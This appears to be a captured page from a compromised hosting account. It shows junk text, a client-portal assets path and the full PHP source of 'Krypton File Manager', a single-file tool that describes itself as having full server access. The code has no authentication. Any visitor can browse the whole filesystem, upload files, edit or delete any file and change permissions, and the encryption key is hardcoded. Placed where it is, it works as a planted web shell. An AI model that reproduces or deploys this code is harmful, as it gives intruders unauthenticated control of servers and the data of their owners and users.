hjkhghtjhjjhjhjhjhjjhjhjjhrrtrtoirh
bnmbertsurrttrtrtrtrjhjhjjhjhhjhjhjhf'tdfg
/
home
/
u506006416
/
public_html
/
public_html
/
clients_portal
/
assets
/
Upload FileeE
HOME
<?php /** * Krypton File Manager - OOP Version * A single-file PHP file manager with full server access and enhanced features */ // Start session session_start(); /** * Configuration class for application settings */ class Config { const VERSION = '2.0.0'; const ENCRYPTION_KEY = 'zctNrBz!wuDveHPpFhjDC=&pvWdY4w'; const SESSION_TIMEOUT = 1800; // 30 minutes const DEFAULT_ENCRYPTION_KEY = 'change_this_to_a_random_string'; } /** * Security manager for encryption and session handling */ class SecurityManager { private $encryptionKey; public function __construct($encryptionKey = null) { $this->encryptionKey = $encryptionKey ?: Config::ENCRYPTION_KEY; } /** * Check if default encryption key is being used */ public function hasDefaultEncryptionKey(): bool { return $this->encryptionKey === Config::DEFAULT_ENCRYPTION_KEY; } /** * Check and handle session timeout */ public function checkSessionTimeout(): void { if (isset($_SESSION['last_activity']) && (time() - $_SESSION['last_activity'] > Config::SESSION_TIMEOUT)) { session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); } /** * Encrypt a file path */ public function encryptPath(string $path): string { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', $this->encryptionKey, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } /** * Decrypt a file path */ public function decryptPath(string $encryptedPath): string { try { $decoded = base64_decode($encryptedPath); if ($decoded === false || strpos($decoded, '::') === false) { return getcwd(); } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', $this->encryptionKey, 0, $iv); return $decrypted !== false ? $decrypted : getcwd(); } catch (Exception $e) { return getcwd(); } } } /** * File utility class for file operations and formatting */ class FileUtils { /** * Format file size in human-readable format */ public static function formatFileSize(int $bytes): string { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } return $bytes . ' bytes'; } /** * Get file permissions in Unix format */ public static function getFilePermissions(string $file): string { $perms = fileperms($file); // File type $info = ''; if (($perms & 0xC000) == 0xC000) $info = 's'; // Socket elseif (($perms & 0xA000) == 0xA000) $info = 'l'; // Symbolic Link elseif (($perms & 0x8000) == 0x8000) $info = '-'; // Regular elseif (($perms & 0x6000) == 0x6000) $info = 'b'; // Block special elseif (($perms & 0x4000) == 0x4000) $info = 'd'; // Directory elseif (($perms & 0x2000) == 0x2000) $info = 'c'; // Character special elseif (($perms & 0x1000) == 0x1000) $info = 'p'; // FIFO pipe else $info = 'u'; // Unknown // Owner permissions $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); // Group permissions $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); // World permissions $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } /** * Get file extension */ public static function getFileExtension(string $filename): string { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } /** * Check if file is editable */ public static function isEditableFile(string $filename): bool { return true; // Allow editing of all files } } /** * File item representation */ class FileItem { public $name; public $path; public $encryptedPath; public $isDirectory; public $size; public $permissions; public $lastModified; public $isEditable; public function __construct(string $name, string $path, SecurityManager $security) { $this->name = $name; $this->path = $path; $this->encryptedPath = $security->encryptPath($path); $this->isDirectory = is_dir($path); $this->size = $this->isDirectory ? '-' : FileUtils::formatFileSize(filesize($path)); $this->permissions = FileUtils::getFilePermissions($path); $this->lastModified = date('Y-m-d H:i:s', filemtime($path)); $this->isEditable = !$this->isDirectory && FileUtils::isEditableFile($name); } } /** * Directory manager for file operations */ class DirectoryManager { private $securityManager; private $currentPath; public function __construct(SecurityManager $securityManager) { $this->securityManager = $securityManager; $this->currentPath = $this->initializeCurrentPath(); } /** * Initialize current path from session or default */ private function initializeCurrentPath(): string { $defaultPath = getcwd(); if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { return $_SESSION['current_path']; } return $defaultPath; } /** * Get current path */ public function getCurrentPath(): string { return $this->currentPath; } /** * Set current path */ public function setCurrentPath(string $path): bool { if (file_exists($path) && is_dir($path)) { $this->currentPath = $path; $_SESSION['current_path'] = $path; return true; } return false; } /** * Get directory contents as FileItem objects */ public function getDirectoryContents(): array { $items = []; if (!is_dir($this->currentPath)) { return $items; } $handle = opendir($this->currentPath); if (!$handle) { return $items; } while (false !== ($entry = readdir($handle))) { if ($entry === "." || $entry === "..") { continue; } $fullPath = $this->currentPath . '/' . $entry; try { $items[] = new FileItem($entry, $fullPath, $this->securityManager); } catch (Exception $e) { // Skip files that can't be accessed continue; } } closedir($handle); // Sort items: directories first, then files usort($items, function ($a, $b) { if ($a->isDirectory && !$b->isDirectory) return -1; if (!$a->isDirectory && $b->isDirectory) return 1; return strcasecmp($a->name, $b->name); }); return $items; } /** * Get breadcrumb navigation */ public function getBreadcrumbs(): array { $breadcrumbs = []; $pathParts = explode('/', $this->currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => $this->securityManager->encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => $this->securityManager->encryptPath($buildPath) ]; } } return $breadcrumbs; } /** * Navigate to a path */ public function navigateTo(string $encryptedPath): bool { $path = $this->securityManager->decryptPath($encryptedPath); return $this->setCurrentPath($path); } } /** * File operations handler */ class FileOperations { private $securityManager; private $directoryManager; public function __construct(SecurityManager $securityManager, DirectoryManager $directoryManager) { $this->securityManager = $securityManager; $this->directoryManager = $directoryManager; } /** * Upload a file */ public function uploadFile(array $fileData): array { if (!isset($fileData['error']) || $fileData['error'] !== UPLOAD_ERR_OK) { return ['success' => false, 'message' => 'No file selected or upload error.']; } $uploadPath = $this->directoryManager->getCurrentPath() . '/' . basename($fileData['name']); if (move_uploaded_file($fileData['tmp_name'], $uploadPath)) { return ['success' => true, 'message' => 'File uploaded successfully.']; } return ['success' => false, 'message' => 'Failed to upload file.']; } /** * Delete a file or directory */ public function delete(string $encryptedPath): array { $path = $this->securityManager->decryptPath($encryptedPath); if (!file_exists($path)) { return ['success' => false, 'message' => 'File or directory does not exist.']; } if (is_dir($path)) { if (rmdir($path)) { return ['success' => true, 'message' => 'Directory deleted successfully.']; } return ['success' => false, 'message' => 'Failed to delete directory. It may not be empty.']; } else { if (unlink($path)) { return ['success' => true, 'message' => 'File deleted successfully.']; } return ['success' => false, 'message' => 'Failed to delete file.']; } } /** * Rename a file or directory */ public function rename(string $encryptedOldPath, string $newName): array { $oldPath = $this->securityManager->decryptPath($encryptedOldPath); if (!file_exists($oldPath)) { return ['success' => false, 'message' => 'File or directory does not exist.']; } $newPath = dirname($oldPath) . '/' . $newName; if (rename($oldPath, $newPath)) { return ['success' => true, 'message' => 'Renamed successfully.']; } return ['success' => false, 'message' => 'Failed to rename.']; } /** * Change file permissions */ public function changePermissions(string $encryptedPath, string $permissions): array { $path = $this->securityManager->decryptPath($encryptedPath); if (!file_exists($path)) { return ['success' => false, 'message' => 'File or directory does not exist.']; } $mode = octdec($permissions); if (chmod($path, $mode)) { return ['success' => true, 'message' => 'Permissions changed successfully.']; } return ['success' => false, 'message' => 'Failed to change permissions.']; } /** * Get file content for editing */ public function getFileContent(string $encryptedPath): string { $path = $this->securityManager->decryptPath($encryptedPath); if (file_exists($path) && !is_dir($path) && FileUtils::isEditableFile(basename($path))) { return file_get_contents($path); } return "Error: Cannot read file."; } /** * Save file content */ public function saveFileContent(string $encryptedPath, string $content): array { $path = $this->securityManager->decryptPath($encryptedPath); if (!file_exists($path) || is_dir($path)) { return ['success' => false, 'message' => 'File does not exist.']; } if (file_put_contents($path, $content) !== false) { return ['success' => true, 'message' => 'File saved successfully.']; } return ['success' => false, 'message' => 'Failed to save file.']; } /** * Create a new file */ public function createFile(string $fileName): array { $filePath = $this->directoryManager->getCurrentPath() . '/' . $fileName; if (file_exists($filePath)) { return ['success' => false, 'message' => 'File already exists.']; } if (file_put_contents($filePath, '') !== false) { return ['success' => true, 'message' => 'File created successfully.']; } return ['success' => false, 'message' => 'Failed to create file.']; } /** * Create a new folder */ public function createFolder(string $folderName): array { $folderPath = $this->directoryManager->getCurrentPath() . '/' . $folderName; if (file_exists($folderPath)) { return ['success' => false, 'message' => 'Folder already exists.']; } if (mkdir($folderPath, 0755)) { return ['success' => true, 'message' => 'Folder created successfully.']; } return ['success' => false, 'message' => 'Failed to create folder.']; } /** * Download a file */ public function downloadFile(string $encryptedPath): void { $path = $this->securityManager->decryptPath($encryptedPath); if (file_exists($path) && !is_dir($path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($path) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($path)); ob_clean(); flush(); readfile($path); exit; } } } /** * Request handler for processing HTTP requests */ class RequestHandler { private $securityManager; private $directoryManager; private $fileOperations; private $messages; public function __construct() { $this->securityManager = new SecurityManager(); $this->directoryManager = new DirectoryManager($this->securityManager); $this->fileOperations = new FileOperations($this->securityManager, $this->directoryManager); $this->messages = ['success' => '', 'error' => '']; } /** * Process incoming requests */ public function handleRequest(): void { $this->securityManager->checkSessionTimeout(); if ($_SERVER['REQUEST_METHOD'] === 'POST') { $this->handlePostRequest(); } } /** * Handle POST requests */ private function handlePostRequest(): void { // Update current path if provided if (isset($_POST['current_path'])) { $this->directoryManager->navigateTo($_POST['current_path']); } // Handle specific actions if (isset($_POST['action'])) { $this->handleAction($_POST['action']); return; } // Handle form submissions $this->handleFormSubmissions(); } /** * Handle AJAX actions */ private function handleAction(string $action): void { switch ($action) { case 'getContent': if (isset($_POST['path'])) { echo $this->fileOperations->getFileContent($_POST['path']); } exit; case 'navigate': if (isset($_POST['path'])) { $this->directoryManager->navigateTo($_POST['path']); } break; case 'download': if (isset($_POST['path'])) { $this->fileOperations->downloadFile($_POST['path']); } break; } } /** * Handle form submissions */ private function handleFormSubmissions(): void { // File upload if (isset($_POST['upload']) && isset($_FILES['file'])) { $result = $this->fileOperations->uploadFile($_FILES['file']); $this->setMessage($result); } // File/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $result = $this->fileOperations->delete($_POST['path']); $this->setMessage($result); } // Rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $result = $this->fileOperations->rename($_POST['oldPath'], $_POST['newName']); $this->setMessage($result); } // Change permissions if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $result = $this->fileOperations->changePermissions($_POST['permPath'], $_POST['permissions']); $this->setMessage($result); } // Save file if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $result = $this->fileOperations->saveFileContent($_POST['filePath'], $_POST['fileContent']); $this->setMessage($result); } // Create file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $result = $this->fileOperations->createFile($_POST['newFileName']); $this->setMessage($result); } // Create folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $result = $this->fileOperations->createFolder($_POST['newFolderName']); $this->setMessage($result); } } /** * Set success or error message */ private function setMessage(array $result): void { if ($result['success']) { $this->messages['success'] = $result['message']; } else { $this->messages['error'] = $result['message']; } } /** * Get messages */ public function getMessages(): array { return $this->messages; } /** * Get security manager */ public function getSecurityManager(): SecurityManager { return $this->securityManager; } /** * Get directory manager */ public function getDirectoryManager(): DirectoryManager { return $this->directoryManager; } } /** * View renderer for HTML output */ class ViewRenderer { private $requestHandler; public function __construct(RequestHandler $requestHandler) { $this->requestHandler = $requestHandler; } /** * Render the complete HTML page */ public function render(): void { $securityManager = $this->requestHandler->getSecurityManager(); $directoryManager = $this->requestHandler->getDirectoryManager(); $messages = $this->requestHandler->getMessages(); $items = $directoryManager->getDirectoryContents(); $breadcrumbs = $directoryManager->getBreadcrumbs(); $currentPath = $directoryManager->getCurrentPath(); $encryptedCurrentPath = $securityManager->encryptPath($currentPath); $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = $securityManager->encryptPath($homeDirectory); $encryptionKeyWarning = $securityManager->hasDefaultEncryptionKey() ? 'Warning: Default encryption key is being used. Please change it for security.' : ''; include $this->getTemplatePath(); } /** * Get template file path (inline for single-file solution) */ private function getTemplatePath(): string { return __FILE__; } } // Initialize and run the application $requestHandler = new RequestHandler(); $requestHandler->handleRequest(); $viewRenderer = new ViewRenderer($requestHandler); // Extract variables for template $securityManager = $requestHandler->getSecurityManager(); $directoryManager = $requestHandler->getDirectoryManager(); $messages = $requestHandler->getMessages(); $items = $directoryManager->getDirectoryContents(); $breadcrumbs = $directoryManager->getBreadcrumbs(); $currentPath = $directoryManager->getCurrentPath(); $encryptedCurrentPath = $securityManager->encryptPath($currentPath); $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = $securityManager->encryptPath($homeDirectory); $encryptionKeyWarning = $securityManager->hasDefaultEncryptionKey() ? 'Warning: Default encryption key is being used. Please change it for security.' : ''; $success = $messages['success']; $error = $messages['error']; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Krypton File Manager</title> <style> /* Base styles and reset */ * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Inter', 'Roboto', 'Helvetica', sans-serif; } body { background-image: url('https://w.wallhaven.cc/full/ly/wallhaven-lyq3kq.jpg'); background-size: cover; background-position: center; background-repeat: no-repeat; background-color: #f9f9f9; color: #333333; line-height: 1.6; background-attachment: fixed; min-height: 100vh; } .container { max-width: 1200px; margin: 0 auto; padding: 0 20px; } /* Navigation bar */ .navbar { background-color: #ffffff; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05); padding: 15px 0; position: sticky; top: 0; z-index: 100; } .navbar-content { display: flex; align-items: center; justify-content: space-between; } .navbar h1 { color: #333333; font-size: 1.5rem; font-weight: 500; } .version { font-size: 0.8rem; color: #777; margin-left: 10px; } .navbar-actions { display: flex; gap: 10px; } .home-btn { background-color: #4a6cf7; color: white; border: none; padding: 8px 15px; border-radius: 6px; cursor: pointer; font-weight: 500; text-decoration: none; display: inline-flex; align-items: center; transition: all 0.2s ease; } .home-btn:hover { background-color: #3a5ce5; transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .home-icon { margin-right: 5px; } /* Breadcrumb navigation */ .breadcrumb { display: flex; align-items: center; padding: 12px 0; margin-bottom: 15px; overflow-x: auto; white-space: nowrap; } .breadcrumb-item { display: flex; align-items: center; } .breadcrumb-item a { color: #4a6cf7; text-decoration: none; padding: 5px 8px; border-radius: 4px; transition: background-color 0.2s; cursor: pointer; } .breadcrumb-item a:hover { background-color: rgba(74, 108, 247, 0.1); } .breadcrumb-separator { margin: 0 5px; color: #999; } .breadcrumb-current { font-weight: 500; padding: 5px 8px; } /* Section styling */ .section { background-color: rgba(255, 255, 255, 0.9); border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.05); padding: 20px; margin-bottom: 20px; box-shadow: rgba(50, 50, 93, 0.25) 0px 2px 5px -1px, rgba(0, 0, 0, 0.3) 0px 1px 3px -1px; } .section-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; } .section-title { font-size: 1.1rem; color: #333333; font-weight: 500; } .section-actions { display: flex; gap: 10px; } /* Upload form */ .upload-form { display: flex; flex-wrap: wrap; gap: 10px; align-items: center; } .upload-form input[type="file"] { flex: 1; min-width: 200px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #ffffff; } .btn { background-color: #4a6cf7; color: white; border: none; padding: 10px 20px; border-radius: 6px; cursor: pointer; font-weight: 500; transition: all 0.2s ease; } .btn:hover { background-color: #3a5ce5; transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1); } .btn-sm { padding: 6px 12px; font-size: 0.9rem; } .btn-success { background-color: #28a745; } .btn-success:hover { background-color: #218838; } /* File list table */ .file-table-container { overflow-x: auto; } .file-table { width: 100%; border-collapse: collapse; margin-top: 10px; } .file-table th { background-color: #f5f5f5; padding: 12px 15px; text-align: left; font-weight: 500; border-bottom: 1px solid #e0e0e0; position: relative; } .file-table td { padding: 12px 15px; border-bottom: 1px solid #e0e0e0; } .file-table tr:hover { background-color: #f5f7ff; } .file-name { display: flex; align-items: center; gap: 8px; } .folder-icon::before { content: "📁"; } .file-icon::before { content: "📄"; } /* Action buttons */ .action-buttons { display: flex; gap: 8px; } .action-btn { background: none; border: none; cursor: pointer; font-size: 1rem; color: #555; transition: all 0.2s ease; width: 28px; height: 28px; display: flex; align-items: center; justify-content: center; border-radius: 4px; } .action-btn:hover { background-color: #f0f0f0; color: #333; } /* Modal styles */ .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); z-index: 1000; justify-content: center; align-items: center; } .modal-content { background-color: white; padding: 25px; border-radius: 8px; width: 90%; max-width: 400px; box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15); } .modal-content.modal-lg { max-width: 800px; height: 80%; display: flex; flex-direction: column; } .modal-title { font-size: 1.2rem; margin-bottom: 15px; font-weight: 500; } .modal-form { display: flex; flex-direction: column; gap: 15px; } .editor-form { display: flex; flex-direction: column; gap: 15px; flex-grow: 1; } .form-group { display: flex; flex-direction: column; gap: 5px; } .form-group label { font-weight: 500; } .form-group input { padding: 8px 12px; border: 1px solid #ddd; border-radius: 4px; } .form-group textarea { flex-grow: 1; padding: 12px; border: 1px solid #ddd; border-radius: 4px; font-family: 'Courier New', monospace; font-size: 14px; resize: none; } .modal-actions { display: flex; justify-content: flex-end; gap: 10px; margin-top: 20px; } .btn-cancel { background-color: #f0f0f0; color: #333; } .btn-cancel:hover { background-color: #e0e0e0; } /* Alerts */ .alert { padding: 12px 15px; margin-bottom: 15px; border-radius: 4px; font-weight: 500; } .alert-success { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; } .alert-error { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; } .alert-warning { background-color: #fff3cd; color: #856404; border: 1px solid #ffeeba; } /* Footer */ .footer { text-align: center; padding: 20px 0; color: #777; font-size: 0.9rem; } /* Loading overlay */ .loading-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0, 0, 0, 0.5); z-index: 2000; justify-content: center; align-items: center; } .spinner { width: 50px; height: 50px; border: 5px solid #f3f3f3; border-top: 5px solid #3498db; border-radius: 50%; animation: spin 1s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } /* Responsive design */ @media (max-width: 768px) { .upload-form { flex-direction: column; align-items: stretch; } .upload-form input[type="file"] { width: 100%; } .action-buttons { flex-wrap: wrap; } .section-header { flex-direction: column; align-items: flex-start; gap: 10px; } .section-actions { width: 100%; } .btn { width: 100%; } } </style> </head> <body> <!-- Loading Overlay --> <div id="loadingOverlay" class="loading-overlay"> <div class="spinner"></div> </div> <!-- Navigation Bar --> <nav class="navbar"> <div class="container navbar-content"> <h1>Krypton <span class="version">v<?php echo Config::VERSION; ?></span></h1> <div class="navbar-actions"> <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn"> <span class="home-icon">🏠</span> Home </button> </div> </div> </nav> <div class="container"> <!-- Alerts --> <?php if (!empty($encryptionKeyWarning)): ?> <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div> <?php endif; ?> <?php if (!empty($success)): ?> <div class="alert alert-success"><?php echo $success; ?></div> <?php endif; ?> <?php if (!empty($error)): ?> <div class="alert alert-error"><?php echo $error; ?></div> <?php endif; ?> <!-- Breadcrumb Navigation --> <div class="breadcrumb"> <?php foreach ($breadcrumbs as $index => $crumb): ?> <?php if ($index > 0): ?> <span class="breadcrumb-separator">›</span> <?php endif; ?> <div class="breadcrumb-item"> <?php if ($index === count($breadcrumbs) - 1): ?> <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span> <?php else: ?> <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a> <?php endif; ?> </div> <?php endforeach; ?> </div> <!-- Upload Section --> <section class="section"> <h2 class="section-title">Upload Files</h2> <form class="upload-form" method="post" enctype="multipart/form-data"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="file" name="file"> <button type="submit" name="upload" class="btn">Upload File</button> </form> </section> <!-- File List Section --> <section class="section"> <div class="section-header"> <h2 class="section-title">Files</h2> <div class="section-actions"> <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button> <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button> </div> </div> <div class="file-table-container"> <table class="file-table"> <thead> <tr> <th>Filename</th> <th>Size</th> <th>Permissions</th> <th>Last Modified</th> <th>Actions</th> </tr> </thead> <tbody> <!-- Parent directory link --> <?php if ($currentPath !== '/'): ?> <tr> <td> <div class="file-name"> <span class="folder-icon"></span> <a onclick="navigateTo('<?php echo $securityManager->encryptPath(dirname($currentPath)); ?>')">..</a> </div> </td> <td>-</td> <td>-</td> <td>-</td> <td>-</td> </tr> <?php endif; ?> <!-- File list --> <?php foreach ($items as $item): ?> <tr> <td> <div class="file-name"> <span class="<?php echo $item->isDirectory ? 'folder-icon' : 'file-icon'; ?>"></span> <?php if ($item->isDirectory): ?> <a onclick="navigateTo('<?php echo $item->encryptedPath; ?>')"><?php echo htmlspecialchars($item->name); ?></a> <?php else: ?> <?php echo htmlspecialchars($item->name); ?> <?php endif; ?> </div> </td> <td><?php echo $item->size; ?></td> <td><?php echo $item->permissions; ?></td> <td><?php echo $item->lastModified; ?></td> <td> <div class="action-buttons"> <?php if (!$item->isDirectory): ?> <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item->encryptedPath; ?>')">📥</button> <?php if ($item->isEditable): ?> <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item->encryptedPath); ?>', '<?php echo addslashes($item->name); ?>')">📝</button> <?php endif; ?> <?php endif; ?> <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item->encryptedPath); ?>', '<?php echo addslashes($item->name); ?>')">✏️</button> <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item->encryptedPath); ?>', '<?php echo addslashes($item->name); ?>')">🔒</button> <form method="post" style="display:inline;" onsubmit="return confirmDelete(this, '<?php echo $item->isDirectory ? 'directory' : 'file'; ?>');"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" name="path" value="<?php echo htmlspecialchars($item->encryptedPath); ?>"> <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button> </form> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> </div> </section> <footer class="footer"> Krypton File Manager v<?php echo Config::VERSION; ?> | Single-file PHP File Manager (OOP Version) </footer> </div> <!-- Rename Modal --> <div id="renameModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" id="renameOldPath" name="oldPath" value=""> <div class="form-group"> <label for="renameNewName">New Name:</label> <input type="text" id="renameNewName" name="newName" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button> <button type="submit" name="rename" class="btn">Rename</button> </div> </form> </div> </div> <!-- Permissions Modal --> <div id="permissionsModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" id="permissionsPath" name="permPath" value=""> <div class="form-group"> <label for="permissionsOctal">Permissions (Octal):</label> <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button> <button type="submit" name="changePermissions" class="btn">Apply</button> </div> </form> </div> </div> <!-- Edit File Modal --> <div id="editFileModal" class="modal"> <div class="modal-content modal-lg"> <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3> <form class="editor-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <input type="hidden" id="editFilePath" name="filePath" value=""> <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;"> <textarea id="fileContent" name="fileContent" required></textarea> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button> <button type="submit" name="saveFile" class="btn">Save</button> </div> </form> </div> </div> <!-- Create File Modal --> <div id="createFileModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Create New File</h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <div class="form-group"> <label for="newFileName">File Name:</label> <input type="text" id="newFileName" name="newFileName" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button> <button type="submit" name="createFile" class="btn">Create</button> </div> </form> </div> </div> <!-- Create Folder Modal --> <div id="createFolderModal" class="modal"> <div class="modal-content"> <h3 class="modal-title">Create New Folder</h3> <form class="modal-form" method="post"> <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>"> <div class="form-group"> <label for="newFolderName">Folder Name:</label> <input type="text" id="newFolderName" name="newFolderName" required> </div> <div class="modal-actions"> <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button> <button type="submit" name="createFolder" class="btn">Create</button> </div> </form> </div> </div> <!-- Hidden form for navigation --> <form id="navigationForm" method="post" style="display: none;"> <input type="hidden" name="action" value="navigate"> <input type="hidden" id="navigationPath" name="path" value=""> </form> <!-- Hidden form for download --> <form id="downloadForm" method="post" style="display: none;"> <input type="hidden" name="action" value="download"> <input type="hidden" id="downloadPath" name="path" value=""> </form> <script> // Show loading overlay function showLoading() { document.getElementById('loadingOverlay').style.display = 'flex'; } // Hide loading overlay function hideLoading() { document.getElementById('loadingOverlay').style.display = 'none'; } // Navigation function function navigateTo(path) { showLoading(); document.getElementById('navigationPath').value = path; document.getElementById('navigationForm').submit(); } // Download function function downloadFile(path) { document.getElementById('downloadPath').value = path; document.getElementById('downloadForm').submit(); } // Show rename modal function showRenameModal(path, name) { document.getElementById('renameFileName').textContent = name; document.getElementById('renameOldPath').value = path; document.getElementById('renameNewName').value = name; document.getElementById('renameModal').style.display = 'flex'; } // Show permissions modal function showPermissionsModal(path, name) { document.getElementById('permissionsFileName').textContent = name; document.getElementById('permissionsPath').value = path; document.getElementById('permissionsModal').style.display = 'flex'; } // Show edit file modal function showEditFileModal(path, name) { document.getElementById('editFileName').textContent = name; document.getElementById('editFilePath').value = path; showLoading(); // Fetch file content using POST const formData = new FormData(); formData.append('action', 'getContent'); formData.append('path', path); fetch(window.location.pathname, { method: 'POST', body: formData }) .then(response => response.text()) .then(content => { document.getElementById('fileContent').value = content; document.getElementById('editFileModal').style.display = 'flex'; hideLoading(); }) .catch(error => { hideLoading(); alert('Error loading file content: ' + error); }); } // Show create file modal function showCreateFileModal() { document.getElementById('newFileName').value = ''; document.getElementById('createFileModal').style.display = 'flex'; } // Show create folder modal function showCreateFolderModal() { document.getElementById('newFolderName').value = ''; document.getElementById('createFolderModal').style.display = 'flex'; } // Hide modal function hideModal(modalId) { document.getElementById(modalId).style.display = 'none'; } // Close modals when clicking outside window.onclick = function (event) { if (event.target.className === 'modal') { event.target.style.display = 'none'; } } function confirmDelete(form, type) { if (confirm('Are you sure you want to delete this ' + type + '?')) { showLoading(); return true; } return false; } // Add loading indicator to form submissions document.addEventListener('DOMContentLoaded', function () { const forms = document.querySelectorAll('form'); forms.forEach(form => { // Skip delete forms (they use confirmDelete) if (form.querySelector('button[name="delete"]')) return; form.addEventListener('submit', function () { if (form.id !== 'navigationForm' && form.id !== 'downloadForm') { showLoading(); } }); }); }); </script> </body> </html>